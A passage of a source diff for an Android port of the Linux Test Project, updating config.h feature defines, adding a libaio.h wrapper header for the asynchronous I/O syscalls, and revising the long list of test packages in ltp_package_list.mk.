+/* Define to 1 if the system has the type `struct statx_timestamp'. */
+#define HAVE_STRUCT_STATX_TIMESTAMP 1
+
 /* Define to 1 if `freepages_count' is a member of `struct taskstats'. */
 #define HAVE_STRUCT_TASKSTATS_FREEPAGES_COUNT 1
 
@@ -372,9 +368,6 @@
 /* Define to 1 if you have the <sys/inotify.h> header file. */
 #define HAVE_SYS_INOTIFY_H 1
 
-/* Define to 1 if you have the <sys/jfsdmapi.h> header file. */
-/* #undef HAVE_SYS_JFSDMAPI_H */
-
 /* Define to 1 if you have the <sys/prctl.h> header file. */
 #define HAVE_SYS_PRCTL_H 1
 
@@ -384,6 +377,9 @@
 /* Define to 1 if you have the <sys/reg.h> header file. */
 #define HAVE_SYS_REG_H 1
 
+/* Define to 1 if you have the <sys/shm.h> header file. */
+#define HAVE_SYS_SHM_H 1
+
 /* Define to 1 if you have the <sys/signalfd.h> header file. */
 #define HAVE_SYS_SIGNALFD_H 1
 
@@ -397,7 +393,7 @@
 #define HAVE_SYS_TYPES_H 1
 
 /* Define to 1 if you have the <sys/ustat.h> header file. */
-/* #undef HAVE_SYS_USTAT_H 1 */
+/* #undef HAVE_SYS_USTAT_H */
 
 /* Define to 1 if you have the <sys/xattr.h> header file. */
 #define HAVE_SYS_XATTR_H 1
@@ -414,6 +410,9 @@
 /* Define to 1 if you have the `timerfd_settime' function. */
 #define HAVE_TIMERFD_SETTIME 1
 
+/* Define to 1 if you have the <tirpc/netconfig.h> header file. */
+/* #undef HAVE_TIRPC_NETCONFIG_H */
+
 /* Define to 1 if you have the <unistd.h> header file. */
 #define HAVE_UNISTD_H 1
 
@@ -421,7 +420,7 @@
 #define HAVE_UNSHARE 1
 
 /* Define to 1 if you have the `ustat' function. */
-/* #undef HAVE_USTAT 1 */
+/* #undef HAVE_USTAT */
 
 /* Define to 1 if you have utimensat(2) */
 #define HAVE_UTIMENSAT 1
@@ -435,6 +434,9 @@
 /* Define to 1 if you have xfs quota */
 /* #undef HAVE_XFS_QUOTA */
 
+/* Error message when no NUMA support */
+#define NUMA_ERROR_MSG "test requires libnuma >= 2 and it's development packages"
+
 /* Name of package */
 #define PACKAGE "ltp"
 
diff --git a/android/include/libaio.h b/android/include/libaio.h
new file mode 100644
index 0000000..ff04b5a
--- /dev/null
+++ b/android/include/libaio.h
@@ -0,0 +1,113 @@
+#ifndef _LIBAIO_H
+#define _LIBAIO_H
+
+// Don't include the actual header uapi/aio_abi.h
+// since libaio redefines the structs for some reason.
+// Instead override those definitions with the ones below.
+#define __LINUX__AIO_ABI_H
+
+#include <stdint.h>
+
+#if __UINTPTR_MAX__ == UINT64_MAX
+#define PADDED_PTR(x, y) x
+#elif __UINTPTR_MAX__ == UINT32_MAX
+#define PADDED_PTR(x, y) x; unsigned y
+#endif
+
+struct io_iocb_common {
+    PADDED_PTR(void *buf, __pad1);
+    __u64 nbytes;
+    __s64    offset;
+    __u64    reserved2;
+    __u32    flags;
+    __u32    resfd;
+};
+
+struct iocb {
+    PADDED_PTR(void *data, __pad1);
+    __u32 key;
+    __u32 aio_rw_flags;
+    __u16 aio_lio_opcode;
+    __s16 aio_reqprio;
+    __u32 aio_fildes;
+    union {
+        struct io_iocb_common c;
+    } u;
+};
+
+struct io_event {
+    PADDED_PTR(void *data, __pad1);
+    PADDED_PTR(struct iocb *obj, __pad2);
+    __s64 res;
+    __s64 res2;
+};
+
+typedef unsigned long io_context_t;
+typedef io_context_t aio_context_t;
+
+#include <asyncio/AsyncIO.h>
+
+#define IO_CMD_PREAD 0
+#define IO_CMD_PWRITE 1
+#define IO_CMD_FSYNC 2
+#define IO_CMD_FDSYNC 3
+#define IO_CMD_POLL 5
+#define IO_CMD_NOOP 6
+#define IO_CMD_PREADV 7
+#define IO_CMD_PWRITEV 8
+
+typedef void (*io_callback_t)(io_context_t ctx, struct iocb *iocb, long res, long res2);
+
+static inline int redirect_error(int ret) {
+    return ret == -1 ? -errno : ret;
+}
+
+// libaio doesn't follow syscall convention, so errors are returned
+// as negative values and errno isn't used.
+
+static inline int libaio_setup(int maxevents, io_context_t *ctxp) {
+    int ret = io_setup(maxevents, ctxp);
+    return redirect_error(ret);
+}
+
+static inline int libaio_destroy(io_context_t ctx) {
+    int ret = io_destroy(ctx);
+    return redirect_error(ret);
+}
+
+static inline int libaio_submit(io_context_t ctx, long nr, struct iocb *ios[]) {
+    int ret = io_submit(ctx, nr, ios);
+    return redirect_error(ret);
+}
+
+static inline int libaio_cancel(io_context_t ctx, struct iocb *iocb, struct io_event *evt) {
+    int ret = io_cancel(ctx, iocb, evt);
+    return redirect_error(ret);
+}
+
+static inline int libaio_getevents(io_context_t ctx_id, long min_nr, long nr, struct io_event *events, struct timespec *timeout) {
+    int ret = io_getevents(ctx_id, min_nr, nr, events, timeout);
+    return redirect_error(ret);
+}
+
+static inline void io_set_callback(struct iocb *iocb, io_callback_t cb)
+{
+    iocb->data = (void *)cb;
+}
+
+static inline int io_queue_init(int maxevents, io_context_t *ctxp) {
+    memset(ctxp, 0, sizeof(*ctxp));
+    return libaio_setup(maxevents, ctxp);
+}
+
+// Override the system calls with their libaio versions.
+
+#define io_setup(a, b) libaio_setup(a, b)
+#define io_destroy(a) libaio_destroy(a)
+#define io_submit(a, b, c) libaio_submit(a, b, c)
+#define io_cancel(a, b, c) libaio_cancel(a, b, c)
+#define io_getevents(a, b, c, d, e) libaio_getevents(a, b, c, d, e)
+
+#define io_queue_release(a) io_destroy(a)
+
+#endif
diff --git a/android/include/limits_ltp.h b/android/include/limits_ltp.h
deleted file mode 100644
index 4f3b43f..0000000
--- a/android/include/limits_ltp.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#ifndef IOV_MAX
-#define IOV_MAX 1024
-#endif
-
-#ifndef LINE_MAX
-#define LINE_MAX 2048
-#endif
diff --git a/android/ltp_package_list.mk b/android/ltp_package_list.mk
index 6dd64e3..d4f79f2 100644
--- a/android/ltp_package_list.mk
+++ b/android/ltp_package_list.mk
@@ -15,6 +15,7 @@
 
 ltp_packages := \
   ltp_abort01 \
+  ltp_abs01 \
   ltp_accept01 \
   ltp_accept4_01 \
   ltp_access01 \
@@ -23,8 +24,6 @@
   ltp_access04 \
   ltp_acct01 \
   ltp_acl1 \
-  ltp_acl_file_test \
-  ltp_acl_link_test \
   ltp_add_key01 \
   ltp_add_key02 \
   ltp_add_key03 \
@@ -33,11 +32,10 @@
   ltp_adjtimex02 \
   ltp_aio-stress \
   ltp_aio01 \
-  ltp_aio_tio \
+  ltp_aio02 \
   ltp_aiocp \
   ltp_aiodio_append \
   ltp_aiodio_sparse \
-  ltp_alarm01 \
   ltp_alarm02 \
   ltp_alarm03 \
   ltp_alarm05 \
@@ -47,10 +45,12 @@
   ltp_asapi_02 \
   ltp_asapi_03 \
   ltp_asyncio02 \
+  ltp_atof01 \
   ltp_autogroup01 \
   ltp_bdflush01 \
   ltp_bind01 \
   ltp_bind02 \
+  ltp_bind03 \
   ltp_block_dev \
   ltp_brk01 \
   ltp_cacheflush01 \
@@ -64,6 +64,9 @@
   ltp_capset01 \
   ltp_capset02 \
   ltp_cgroup_fj_proc \
+  ltp_cgroup_regression_6_2 \
+  ltp_cgroup_regression_fork_processes \
+  ltp_cgroup_regression_getdelays \
   ltp_cgroup_xattr \
   ltp_chdir01 \
   ltp_chdir02 \
@@ -79,9 +82,13 @@
   ltp_chmod05 \
   ltp_chmod07 \
   ltp_chown01 \
+  ltp_chown01_16 \
   ltp_chown02 \
+  ltp_chown02_16 \
   ltp_chown03 \
+  ltp_chown03_16 \
   ltp_chown05 \
+  ltp_chown05_16 \
   ltp_chroot01 \
   ltp_chroot02 \
   ltp_chroot03 \
@@ -123,6 +130,12 @@
   ltp_cpuctl_test04 \
   ltp_cpufreq_boost \
   ltp_cpuset01 \
+  ltp_cpuset_cpu_hog \
+  ltp_cpuset_list_compute \
+  ltp_cpuset_mem_hog \
+  ltp_cpuset_memory_pressure \
+  ltp_cpuset_sched_domains_check \
+  ltp_cpuset_syscall_test \
   ltp_crash01 \
   ltp_crash02 \
   ltp_creat01 \
@@ -136,15 +149,17 @@
   ltp_create_datafile \
   ltp_create_long_dirs \
   ltp_create_short_dirs \
-  ltp_cve-2012-0957 \
+  ltp_crypto_user01 \
   ltp_cve-2014-0196 \
+  ltp_cve-2015-3290 \
   ltp_cve-2016-10044 \
-  ltp_cve-2016-4997 \
   ltp_cve-2016-7042 \
   ltp_cve-2016-7117 \
+  ltp_cve-2017-16939 \
+  ltp_cve-2017-17052 \
+  ltp_cve-2017-17053 \
   ltp_cve-2017-2618 \
   ltp_cve-2017-2671 \
-  ltp_cve-2017-6951 \
   ltp_data_space \
   ltp_delete_module01 \
   ltp_delete_module02 \
@@ -176,15 +191,23 @@
   ltp_dup205 \
   ltp_dup3_01 \
   ltp_dup3_02 \
+  ltp_eas_big_to_small \
+  ltp_eas_one_big_task \
+  ltp_eas_one_small_task \
+  ltp_eas_small_big_toggle \
+  ltp_eas_small_to_big \
+  ltp_eas_two_big_three_small \
   ltp_endian_switch01 \
   ltp_epoll-ltp \
   ltp_epoll_create1_01 \
   ltp_epoll_ctl01 \
   ltp_epoll_ctl02 \
+  ltp_epoll_pwait01 \
   ltp_epoll_wait01 \
   ltp_epoll_wait02 \
   ltp_epoll_wait03 \
   ltp_event_generator \
+  ltp_eventfd01 \
   ltp_eventfd2_01 \
   ltp_eventfd2_02 \
   ltp_eventfd2_03 \
@@ -205,6 +228,11 @@
   ltp_execve04 \
   ltp_execve05 \
   ltp_execve_child \
+  ltp_execveat01 \
+  ltp_execveat02 \
+  ltp_execveat03 \
+  ltp_execveat_child \
+  ltp_execveat_errno \
   ltp_execvp01 \
   ltp_execvp01_child \
   ltp_exit01 \
@@ -229,6 +257,10 @@
   ltp_fanotify06 \
   ltp_fanotify07 \
   ltp_fanotify08 \
+  ltp_fanotify09 \
+  ltp_fanotify10 \
+  ltp_fanotify11 \
+  ltp_fanout01 \
   ltp_fchdir01 \
   ltp_fchdir02 \
   ltp_fchdir03 \
@@ -238,13 +270,17 @@
   ltp_fchmod04 \
   ltp_fchmod05 \
   ltp_fchmod06 \
-  ltp_fchmod07 \
   ltp_fchmodat01 \
   ltp_fchown01 \
+  ltp_fchown01_16 \
   ltp_fchown02 \
+  ltp_fchown02_16 \
   ltp_fchown03 \
+  ltp_fchown03_16 \
   ltp_fchown04 \
+  ltp_fchown04_16 \
   ltp_fchown05 \
+  ltp_fchown05_16 \
   ltp_fchownat01 \
   ltp_fchownat02 \
   ltp_fcntl01 \
@@ -321,6 +357,9 @@
   ltp_fcntl36_64 \
   ltp_fdatasync01 \
   ltp_fdatasync02 \
+  ltp_fgetxattr01 \
+  ltp_fgetxattr02 \
+  ltp_fgetxattr03 \
   ltp_flistxattr01 \
   ltp_flistxattr02 \
   ltp_flistxattr03 \
@@ -333,7 +372,6 @@
   ltp_flock02 \
   ltp_flock03 \
   ltp_flock04 \
-  ltp_flock05 \
   ltp_flock06 \
   ltp_fork01 \
   ltp_fork02 \
@@ -350,13 +388,16 @@
   ltp_fork13 \
   ltp_fork14 \
   ltp_fork_exec_loop \
-  ltp_fork_processes \
   ltp_fpathconf01 \
   ltp_fptest01 \
   ltp_fptest02 \
   ltp_frag \
+  ltp_fremovexattr01 \
+  ltp_fremovexattr02 \
   ltp_fs_fill \
   ltp_fs_perms \
+  ltp_fsetxattr01 \
+  ltp_fsetxattr02 \
   ltp_fstat01 \
   ltp_fstat01_64 \
   ltp_fstat02 \
@@ -442,18 +483,26 @@
   ltp_getcwd02 \
   ltp_getcwd03 \
   ltp_getcwd04 \
-  ltp_getdelays \
   ltp_getdents01 \
   ltp_getdents02 \
   ltp_getdomainname01 \
   ltp_getdtablesize01 \
   ltp_getegid01 \
+  ltp_getegid01_16 \
   ltp_getegid02 \
+  ltp_getegid02_16 \
   ltp_geteuid01 \
+  ltp_geteuid01_16 \
   ltp_geteuid02 \
+  ltp_geteuid02_16 \
   ltp_getgid01 \
+  ltp_getgid01_16 \
   ltp_getgid03 \
+  ltp_getgid03_16 \
   ltp_getgroups01 \
+  ltp_getgroups01_16 \
+  ltp_getgroups03 \
+  ltp_getgroups03_16 \
   ltp_gethostbyname_r01 \
   ltp_gethostname01 \
   ltp_getitimer01 \
@@ -475,13 +524,20 @@
   ltp_getrandom03 \
   ltp_getrandom04 \
   ltp_getresgid01 \
+  ltp_getresgid01_16 \
   ltp_getresgid02 \
+  ltp_getresgid02_16 \
   ltp_getresgid03 \
+  ltp_getresgid03_16 \
   ltp_getresuid01 \
+  ltp_getresuid01_16 \
   ltp_getresuid02 \
+  ltp_getresuid02_16 \
   ltp_getresuid03 \
+  ltp_getresuid03_16 \
   ltp_getrlimit01 \
   ltp_getrlimit02 \
+  ltp_getrlimit03 \
   ltp_getrusage01 \
   ltp_getrusage02 \
   ltp_getrusage03_child \
@@ -495,22 +551,23 @@
   ltp_gettimeofday01 \
   ltp_gettimeofday02 \
   ltp_getuid01 \
+  ltp_getuid01_16 \
   ltp_getuid03 \
+  ltp_getuid03_16 \
   ltp_getxattr01 \
   ltp_getxattr02 \
   ltp_getxattr03 \
   ltp_getxattr04 \
+  ltp_getxattr05 \
   ltp_hackbench \
   ltp_hangup01 \
   ltp_ht_affinity \
   ltp_ht_enabled \
-  ltp_ht_interrupt \
   ltp_hugemmap01 \
   ltp_hugemmap02 \
   ltp_hugemmap04 \
   ltp_hugemmap06 \
   ltp_ima_boot_aggregate \
-  ltp_ima_measure \
   ltp_ima_mmap \
   ltp_in \
   ltp_in6_02 \
@@ -523,6 +580,9 @@
   ltp_inotify04 \
   ltp_inotify05 \
   ltp_inotify06 \
+  ltp_inotify07 \
+  ltp_inotify08 \
+  ltp_inotify09 \
   ltp_inotify_init1_01 \
   ltp_inotify_init1_02 \
   ltp_input01 \
@@ -530,6 +590,11 @@
   ltp_input04 \
   ltp_input05 \
   ltp_input06 \
+  ltp_io_cancel01 \
+  ltp_io_destroy01 \
+  ltp_io_getevents01 \
+  ltp_io_setup01 \
+  ltp_io_submit01 \
   ltp_iobw \
   ltp_ioctl01 \
   ltp_ioctl03 \
@@ -568,10 +633,14 @@
   ltp_ksm02 \
   ltp_ksm03 \
   ltp_ksm04 \
+  ltp_ksm05 \
   ltp_ksm06 \
   ltp_lchown01 \
+  ltp_lchown01_16 \
   ltp_lchown02 \
+  ltp_lchown02_16 \
   ltp_lchown03 \
+  ltp_lchown03_16 \
   ltp_lftest \
   ltp_lgetxattr01 \
   ltp_lgetxattr02 \
@@ -588,10 +657,14 @@
   ltp_listxattr01 \
   ltp_listxattr02 \
   ltp_listxattr03 \
+  ltp_llistxattr01 \
+  ltp_llistxattr02 \
+  ltp_llistxattr03 \
   ltp_llseek01 \
   ltp_llseek02 \
   ltp_llseek03 \
   ltp_locktests \
+  ltp_lremovexattr01 \
   ltp_lseek01 \
   ltp_lseek02 \
   ltp_lseek07 \
@@ -613,6 +686,7 @@
   ltp_madvise07 \
   ltp_madvise08 \
   ltp_madvise09 \
+  ltp_madvise10 \
   ltp_max_map_count \
   ltp_mbind01 \
   ltp_mc_member_test \
@@ -625,6 +699,7 @@
   ltp_mem02 \
   ltp_mem03 \
   ltp_mem_process \
+  ltp_membarrier01 \
   ltp_memcg_process_stress \
   ltp_memcg_test_1 \
   ltp_memcg_test_2 \
@@ -635,19 +710,19 @@
   ltp_memctl_test01 \
   ltp_memfd_create01 \
   ltp_memfd_create02 \
+  ltp_memfd_create03 \
+  ltp_memfd_create04 \
   ltp_memset01 \
   ltp_memtoy \
   ltp_migrate_pages01 \
   ltp_migrate_pages02 \
-  ltp_min_free_kbytes \
+  ltp_migrate_pages03 \
   ltp_mincore01 \
   ltp_mincore02 \
-  ltp_mkdir01 \
   ltp_mkdir02 \
   ltp_mkdir03 \
   ltp_mkdir04 \
   ltp_mkdir05 \
-  ltp_mkdir08 \
   ltp_mkdir09 \
   ltp_mkdirat01 \
   ltp_mkdirat02 \
@@ -666,6 +741,9 @@
   ltp_mlock02 \
   ltp_mlock03 \
   ltp_mlock04 \
+  ltp_mlock201 \
+  ltp_mlock202 \
+  ltp_mlock203 \
   ltp_mlockall01 \
   ltp_mlockall02 \
   ltp_mlockall03 \
@@ -740,7 +818,6 @@
   ltp_munlock01 \
   ltp_munlock02 \
   ltp_munlockall01 \
-  ltp_munlockall02 \
   ltp_munmap01 \
   ltp_munmap02 \
   ltp_munmap03 \
@@ -751,8 +828,10 @@
   ltp_netstress \
   ltp_newns \
   ltp_newuname01 \
+  ltp_nextafter01 \
   ltp_nfs01_open_files \
   ltp_nfs04_create_file \
+  ltp_nfs05_make_tree \
   ltp_nfs_flock \
   ltp_nfs_flock_dgen \
   ltp_nftw01 \
@@ -804,6 +883,7 @@
   ltp_pause01 \
   ltp_pause02 \
   ltp_pause03 \
+  ltp_pcrypt_aead01 \
   ltp_pec_listener \
   ltp_perf_event_open01 \
   ltp_perf_event_open02 \
@@ -824,6 +904,7 @@
   ltp_pipe11 \
   ltp_pipe2_01 \
   ltp_pipe2_02 \
+  ltp_pivot_root01 \
   ltp_pm_get_sched_values \
   ltp_poll01 \
   ltp_poll02 \
@@ -838,6 +919,7 @@
   ltp_ppoll01 \
   ltp_prctl01 \
   ltp_prctl02 \
+  ltp_prctl03 \
   ltp_pread01 \
   ltp_pread01_64 \
   ltp_pread02 \
@@ -848,6 +930,12 @@
   ltp_preadv01_64 \
   ltp_preadv02 \
   ltp_preadv02_64 \
+  ltp_preadv03 \
+  ltp_preadv03_64 \
+  ltp_preadv201 \
+  ltp_preadv201_64 \
+  ltp_preadv202 \
+  ltp_preadv202_64 \
   ltp_print_caps \
   ltp_proc01 \
   ltp_process_vm01 \
@@ -860,6 +948,7 @@
   ltp_pselect02_64 \
   ltp_pselect03 \
   ltp_pselect03_64 \
+  ltp_pt_test \
   ltp_ptem01 \
   ltp_pth_str01 \
   ltp_pth_str02 \
@@ -873,16 +962,25 @@
   ltp_ptrace05 \
   ltp_ptrace07 \
   ltp_pty01 \
+  ltp_pty02 \
   ltp_pwrite01 \
   ltp_pwrite01_64 \
   ltp_pwrite02 \
   ltp_pwrite02_64 \
+  ltp_pwrite03 \
+  ltp_pwrite03_64 \
   ltp_pwrite04 \
   ltp_pwrite04_64 \
   ltp_pwritev01 \
   ltp_pwritev01_64 \
   ltp_pwritev02 \
   ltp_pwritev02_64 \
+  ltp_pwritev03 \
+  ltp_pwritev03_64 \
+  ltp_pwritev201 \
+  ltp_pwritev201_64 \
+  ltp_pwritev202 \
+  ltp_pwritev202_64 \
   ltp_quotactl01 \
   ltp_quotactl02 \
   ltp_quotactl03 \
@@ -892,6 +990,7 @@
   ltp_read02 \
   ltp_read03 \
   ltp_read04 \
+  ltp_read_all \
   ltp_read_checkzero \
   ltp_readahead01 \
   ltp_readahead02 \
@@ -899,14 +998,13 @@
   ltp_readdir02 \
   ltp_readdir21 \
   ltp_readlink01 \
-  ltp_readlink02 \
   ltp_readlink03 \
-  ltp_readlink04 \
   ltp_readlinkat01 \
   ltp_readlinkat02 \
   ltp_readv01 \
   ltp_readv02 \
   ltp_readv03 \
+  ltp_realpath01 \
   ltp_reboot01 \
   ltp_reboot02 \
   ltp_recv01 \
@@ -914,6 +1012,7 @@
   ltp_recvmsg01 \
   ltp_recvmsg02 \
   ltp_recvmsg03 \
+  ltp_remap_file_pages02 \
   ltp_removexattr01 \
   ltp_removexattr02 \
   ltp_rename01 \
@@ -936,22 +1035,28 @@
   ltp_request_key01 \
   ltp_request_key02 \
   ltp_request_key03 \
+  ltp_request_key04 \
+  ltp_request_key05 \
   ltp_rmdir01 \
   ltp_rmdir02 \
   ltp_rmdir03 \
-  ltp_rmdir04 \
-  ltp_rmdir05 \
   ltp_rt_sigaction01 \
   ltp_rt_sigaction02 \
   ltp_rt_sigaction03 \
+  ltp_rt_sigpending02 \
   ltp_rt_sigprocmask01 \
   ltp_rt_sigprocmask02 \
   ltp_rt_sigqueueinfo01 \
+  ltp_rt_sigsuspend01 \
   ltp_rt_sigtimedwait01 \
+  ltp_rt_tgsigqueueinfo01 \
   ltp_rtc01 \
   ltp_sbrk01 \
   ltp_sbrk02 \
   ltp_sbrk03 \
+  ltp_sched_boost \
+  ltp_sched_cfs_prio \
+  ltp_sched_dl_runtime \
   ltp_sched_driver \
   ltp_sched_get_priority_max01 \
   ltp_sched_get_priority_max02 \
@@ -965,6 +1070,10 @@
   ltp_sched_getparam03 \
   ltp_sched_getscheduler01 \
   ltp_sched_getscheduler02 \
+  ltp_sched_latency_dl \
+  ltp_sched_latency_rt \
+  ltp_sched_prio_3_fifo \
+  ltp_sched_prio_3_rr \
   ltp_sched_rr_get_interval01 \
   ltp_sched_rr_get_interval02 \
   ltp_sched_rr_get_interval03 \
@@ -986,10 +1095,23 @@
   ltp_sched_tc5 \
   ltp_sched_tc6 \
   ltp_sched_yield01 \
+  ltp_sctp_big_chunk \
   ltp_select01 \
+  ltp_select01_SYS__newselect \
+  ltp_select01_SYS_pselect6 \
+  ltp_select01_SYS_select \
   ltp_select02 \
+  ltp_select02_SYS__newselect \
+  ltp_select02_SYS_pselect6 \
+  ltp_select02_SYS_select \
   ltp_select03 \
+  ltp_select03_SYS__newselect \
+  ltp_select03_SYS_pselect6 \
+  ltp_select03_SYS_select \
   ltp_select04 \
+  ltp_select04_SYS__newselect \
+  ltp_select04_SYS_pselect6 \
+  ltp_select04_SYS_select \
   ltp_send01 \
   ltp_sendfile02 \
   ltp_sendfile02_64 \
@@ -1007,10 +1129,12 @@
   ltp_sendfile08_64 \
   ltp_sendfile09 \
   ltp_sendfile09_64 \
+  ltp_sendmmsg01 \
   ltp_sendmsg01 \
   ltp_sendto01 \
   ltp_sendto02 \
   ltp_set_robust_list01 \
+  ltp_set_thread_area01 \
   ltp_set_tid_address01 \
   ltp_setdomainname01 \
   ltp_setdomainname02 \
@@ -1018,19 +1142,33 @@
   ltp_setegid01 \
   ltp_setegid02 \
   ltp_setfsgid01 \
+  ltp_setfsgid01_16 \
   ltp_setfsgid02 \
+  ltp_setfsgid02_16 \
   ltp_setfsgid03 \
+  ltp_setfsgid03_16 \
   ltp_setfsuid01 \
+  ltp_setfsuid01_16 \
   ltp_setfsuid02 \
+  ltp_setfsuid02_16 \
   ltp_setfsuid03 \
+  ltp_setfsuid03_16 \
   ltp_setfsuid04 \
+  ltp_setfsuid04_16 \
   ltp_setgid01 \
+  ltp_setgid01_16 \
   ltp_setgid02 \
+  ltp_setgid02_16 \
   ltp_setgid03 \
+  ltp_setgid03_16 \
   ltp_setgroups01 \
+  ltp_setgroups01_16 \
   ltp_setgroups02 \
+  ltp_setgroups02_16 \
   ltp_setgroups03 \
+  ltp_setgroups03_16 \
   ltp_setgroups04 \
+  ltp_setgroups04_16 \
   ltp_sethostname01 \
   ltp_sethostname02 \
   ltp_sethostname03 \
@@ -1044,27 +1182,48 @@
   ltp_setpgid03_child \
   ltp_setpgrp01 \
   ltp_setpgrp02 \
+  ltp_setpriority01 \
   ltp_setpriority02 \
   ltp_setregid01 \
+  ltp_setregid01_16 \
   ltp_setregid02 \
+  ltp_setregid02_16 \
   ltp_setregid03 \
+  ltp_setregid03_16 \
   ltp_setregid04 \
+  ltp_setregid04_16 \
   ltp_setresgid01 \
+  ltp_setresgid01_16 \
   ltp_setresgid02 \
+  ltp_setresgid02_16 \
   ltp_setresgid03 \
+  ltp_setresgid03_16 \
   ltp_setresgid04 \
+  ltp_setresgid04_16 \
   ltp_setresuid01 \
+  ltp_setresuid01_16 \
   ltp_setresuid02 \
+  ltp_setresuid02_16 \
   ltp_setresuid03 \
+  ltp_setresuid03_16 \
   ltp_setresuid04 \
+  ltp_setresuid04_16 \
   ltp_setresuid05 \
+  ltp_setresuid05_16 \
   ltp_setreuid01 \
+  ltp_setreuid01_16 \
   ltp_setreuid02 \
+  ltp_setreuid02_16 \
   ltp_setreuid03 \
+  ltp_setreuid03_16 \
   ltp_setreuid04 \
+  ltp_setreuid04_16 \
   ltp_setreuid05 \
+  ltp_setreuid05_16 \
   ltp_setreuid06 \
+  ltp_setreuid06_16 \
   ltp_setreuid07 \
+  ltp_setreuid07_16 \
   ltp_setrlimit01 \
   ltp_setrlimit02 \
   ltp_setrlimit03 \
@@ -1073,16 +1232,20 @@
   ltp_setsid01 \
   ltp_setsockopt01 \
   ltp_setsockopt02 \
+  ltp_setsockopt03 \
   ltp_settimeofday01 \
   ltp_settimeofday02 \
   ltp_setuid01 \
-  ltp_setuid02 \
+  ltp_setuid01_16 \
   ltp_setuid03 \
+  ltp_setuid03_16 \
   ltp_setuid04 \
+  ltp_setuid04_16 \
   ltp_setxattr01 \
   ltp_setxattr02 \
   ltp_setxattr03 \
   ltp_sgetmask01 \
+  ltp_shmctl05 \
   ltp_sigaction01 \
   ltp_sigaction02 \
   ltp_sigaltstack01 \
@@ -1100,6 +1263,7 @@
   ltp_sigpending02 \
   ltp_sigprocmask01 \
   ltp_sigrelse01 \
+  ltp_sigsuspend01 \
   ltp_sigtimedwait01 \
   ltp_sigwait01 \
   ltp_sigwaitinfo01 \
@@ -1141,6 +1305,11 @@
   ltp_statfs03_64 \
   ltp_statvfs01 \
   ltp_statvfs02 \
+  ltp_statx01 \
+  ltp_statx02 \
+  ltp_statx03 \
+  ltp_statx04 \
+  ltp_statx06 \
   ltp_stream01 \
   ltp_stream02 \
   ltp_stream03 \
@@ -1148,6 +1317,9 @@
   ltp_stream05 \
   ltp_stress_cd \
   ltp_string01 \
+  ltp_sugov_latency \
+  ltp_sugov_stale_util \
+  ltp_sugov_wakeups \
   ltp_support_numa \
   ltp_swapoff01 \
   ltp_swapoff02 \
@@ -1164,12 +1336,12 @@
   ltp_sync01 \
   ltp_sync02 \
   ltp_sync_file_range01 \
+  ltp_syncfs01 \
   ltp_syscall01 \
   ltp_sysconf01 \
   ltp_sysctl01 \
   ltp_sysctl03 \
   ltp_sysctl04 \
-  ltp_sysctl05 \
   ltp_sysfs01 \
   ltp_sysfs02 \
   ltp_sysfs03 \
@@ -1201,12 +1373,17 @@
   ltp_test15 \
   ltp_test16 \
   ltp_test17 \
-  ltp_test_6_2 \
-  ltp_testcases_bin_acl_test01 \
+  ltp_test18 \
+  ltp_test19 \
+  ltp_test_exec \
+  ltp_test_exec_child \
   ltp_testcases_bin_add_ipv6addr \
   ltp_testcases_bin_arping01.sh \
   ltp_testcases_bin_ask_password.sh \
   ltp_testcases_bin_assign_password.sh \
+  ltp_testcases_bin_bbr01.sh \
+  ltp_testcases_bin_bbr02.sh \
+  ltp_testcases_bin_bind_noport01.sh \
   ltp_testcases_bin_broken_ip4-checksum \
   ltp_testcases_bin_broken_ip4-dstaddr \
   ltp_testcases_bin_broken_ip4-fragment \
@@ -1226,6 +1403,14 @@
   ltp_testcases_bin_cgroup_fj_common.sh \
   ltp_testcases_bin_cgroup_fj_function.sh \
   ltp_testcases_bin_cgroup_fj_stress.sh \
+  ltp_testcases_bin_cgroup_lib.sh \
+  ltp_testcases_bin_cgroup_regression_10_1.sh \
+  ltp_testcases_bin_cgroup_regression_10_2.sh \
+  ltp_testcases_bin_cgroup_regression_3_1.sh \
+  ltp_testcases_bin_cgroup_regression_3_2.sh \
+  ltp_testcases_bin_cgroup_regression_6_1.sh \
+  ltp_testcases_bin_cgroup_regression_9_1.sh \
+  ltp_testcases_bin_cgroup_regression_9_2.sh \
   ltp_testcases_bin_cgroup_regression_test.sh \
   ltp_testcases_bin_change_password.sh \
   ltp_testcases_bin_check_envval \
@@ -1236,6 +1421,8 @@
   ltp_testcases_bin_clockdiff01.sh \
   ltp_testcases_bin_cmdlib.sh \
   ltp_testcases_bin_connector_test.sh \
+  ltp_testcases_bin_cp_tests.sh \
+  ltp_testcases_bin_cpio_tests.sh \
   ltp_testcases_bin_cpuacct.sh \
   ltp_testcases_bin_cpuhotplug01.sh \
   ltp_testcases_bin_cpuhotplug02.sh \
@@ -1307,59 +1494,15 @@
   ltp_testcases_bin_fs_bind_bin_makedir \
   ltp_testcases_bin_fs_bind_bin_setup \
   ltp_testcases_bin_fs_bind_bin_setupnslock \
-  ltp_testcases_bin_fs_bind_bind_test01 \
-  ltp_testcases_bin_fs_bind_bind_test02 \
-  ltp_testcases_bin_fs_bind_bind_test03 \
-  ltp_testcases_bin_fs_bind_bind_test04 \
-  ltp_testcases_bin_fs_bind_bind_test05 \
-  ltp_testcases_bin_fs_bind_bind_test06 \
-  ltp_testcases_bin_fs_bind_bind_test07 \
-  ltp_testcases_bin_fs_bind_bind_test07-2 \
-  ltp_testcases_bin_fs_bind_bind_test08 \
-  ltp_testcases_bin_fs_bind_bind_test09 \
   ltp_testcases_bin_fs_bind_bind_test10 \
   ltp_testcases_bin_fs_bind_bind_test11 \
   ltp_testcases_bin_fs_bind_bind_test12 \
-  ltp_testcases_bin_fs_bind_bind_test13 \
   ltp_testcases_bin_fs_bind_bind_test14 \
   ltp_testcases_bin_fs_bind_bind_test15 \
   ltp_testcases_bin_fs_bind_bind_test16 \
-  ltp_testcases_bin_fs_bind_bind_test17 \
   ltp_testcases_bin_fs_bind_bind_test18 \
   ltp_testcases_bin_fs_bind_bind_test19 \
-  ltp_testcases_bin_fs_bind_bind_test20 \
-  ltp_testcases_bin_fs_bind_bind_test21 \
-  ltp_testcases_bin_fs_bind_bind_test22 \
-  ltp_testcases_bin_fs_bind_bind_test23 \
-  ltp_testcases_bin_fs_bind_bind_test24 \
-  ltp_testcases_bin_fs_bind_cloneNS_test01 \
-  ltp_testcases_bin_fs_bind_cloneNS_test02 \
-  ltp_testcases_bin_fs_bind_cloneNS_test03 \
-  ltp_testcases_bin_fs_bind_cloneNS_test04 \
-  ltp_testcases_bin_fs_bind_cloneNS_test05 \
